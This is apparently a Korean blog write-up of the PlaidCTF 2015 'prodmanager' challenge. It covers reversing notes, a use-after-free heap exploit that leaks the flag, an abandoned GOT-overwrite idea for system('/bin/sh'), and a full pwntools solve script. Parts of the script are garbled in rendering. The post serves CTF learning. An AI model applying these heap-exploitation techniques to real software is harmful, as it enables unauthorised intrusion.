System/Plaidctf 2015

[PlaidCTF 2015] - prodmanager - 190605

WS-_K 2019. 6. 5. 23:16

1. Reversing

 

 

 

 군대라는 특성상 ida가 없어서 gdb-peda로 prodmanager를 리버싱을 진행했다.

gdb-peda로 리버싱을 진행하다(지금 생각하니까 핑계네) 보니까 제대로 분석하지 못해서 아쉬운 함수들이 있었다.

그것은 바로! 0x8048f0b, 0x80494a0함수이다.

 

0x8048f0b 함수는 0x8048e7f에서 input으로 들어온 product의 이름으로 해당 product의 객체의 주소(heap주소)를 리턴하는데 그 heap주소와 0x804c1c0를 인자로 받아서 함수가 실행된다. 해당 heap주소를 자료구조에 넣는데 추가적인 분석 결과로 해당 자료구조는 min heap이고 0x8048f0b는 해당 min heap에 객체를 넣는 함수인 것으로 추측했다.

 

0x80494a0 함수는 0x804c1c0인자를 받아서 최소 가격의 product를 찾아서 리턴해주는 데 이 함수는 (아마도) min heap 에서 최상위 루트의 값을 리턴하고 루트의 자리에 마지막 값을 대입하여 min heap의 일반적인 pop() 형식으로 구현되었을 것이라고 추측했다.

 

2. Exploit

 

 솔직히 말해서 해당 문제는 Use-After-Free 문제가 아닌 fake chunk나 prev_size와 prev_use_flag를 조작하여 좀 더 꼬아진 문제라고 생각하고 풀었다가.... 정말 삽질을 많이 했다. 

제일 처음 생각했던 exploit은 CreateProfile함수를 이용하여 prev_size를 조작해서 printf의 got를 system으로 overwrite할 수 있을 줄 알았다. (당연히 쉘을 따는 문제인줄..)

 

그렇게 되면

'/bin/sh'을 product name으로 설정하고 최소의 가격을 갖게끔 나머지 product를 설정하여 4번 선택을 했을 때

'/bin/sh' product가 제일 먼저 print 되게 끔 해준다면 printf의 첫 번째 인자로 '/bin/sh'이 들어가게 되고 printf는 system으로 덮여있으니 최종적으로 system('/bin/sh')이 실행될것이라고 생각했다. 하지만... ㅠㅡㅠ 아니였다..

 

 

실제로 진행한 exploit flow는 단순하게 a, b, c product를 추가하고 b의 product를 해제 -> CreateProfile로 b의 주소를 할당받아서 b의 주소에서 알맞은 부분에 flag.txt의 내용이 담긴 0x804c3e0에서 0x18을 뺀 주소를 넣어주면 flag.txt의 내용이 leak이 되서 문제를 풀 수 있게 된다.

 

아래의 slv.py에 libc_leak함수가 있는데 필자가 삽질한 함수이기 때문에... 무시해주시면 감사할것 같습니다.. ㅠㅡㅠ

 

3. slv.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
 
= process('./prodmanager')
 
def create_Product(name, price):
    p.recvuntil('Input: ')
    p.sendline('1')
    
    p.recvuntil('Enter product name: ')
    p.sendline(name)
 
    p.recvuntil('Enter product price: ')
    p.sendline(price)
 
def remove_Product(name):
    p.recvuntil('Input: ')
    p.sendline('2')
 
    p.recvuntil('Which product name would you like to remove: ')
    p.sendline(name)
 
def Add_lowest_price_manager(name):
    p.recvuntil('Input: ')
    p.sendline('3')
    
    p.recvuntil('Which product name would you like to add: ')
    p.sendline(name)
 
def remove_lowest_price_products():
    p.recvuntil('Input: ')
    p.sendline('4')
    
    return p.recvuntil('\n\n')
 
def create_Profile(profile):
    p.recvuntil('Input: ')
    p.sendline('5')
    
    p.recvuntil('Creating profile!\n')
    p.sendline(profile)
 
 
def get_libc_leak():
    create_Product('a''1')
    create_Product('b''2')
    create_Product('c''3')
    Add_lowest_price_manager('a')
    Add_lowest_price_manager('b')
    Add_lowest_price_manager('c')
    remove_Product('a')
    recv_leak = remove_lowest_price_products()
    libc_leak = 0xFFFFFFFF ^ ~int(recv_leak.split('$')[1][:10])
 
 
    return libc_leak
 
 
 
 
def main():
    #libc_leak = get_libc_leak()
    #log.info('libc_leak : ' + hex(libc_leak))
    # system = libc - 0x16a5e0
    #system_Addr = libc_leak - 0x16a5e0
    create_Product('a''1')
    create_Product('b''2')
    create_Product('c''3')
    Add_lowest_price_manager('a')
    Add_lowest_price_manager('b')
    Add_lowest_price_manager('c')
    remove_Product('b')
    payload = ''
    payload += p32(2)
    payload += 'A'*12
    payload += p32(0)
    payload += p32(0x804c3e0-0x18)
    create_Profile(payload)
    recv_ = remove_lowest_price_products()
    flag = recv_.split('is')[3][1:22]
    log.info('flag : ' + flag)
 
 
if __name__ == '__main__':
    main()
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter

 

[보충해야할 점]

 

1. 0x804c3e0 - 0x18의 위치가 왜 하필 거기만 되는 지 다시 검토해야됨.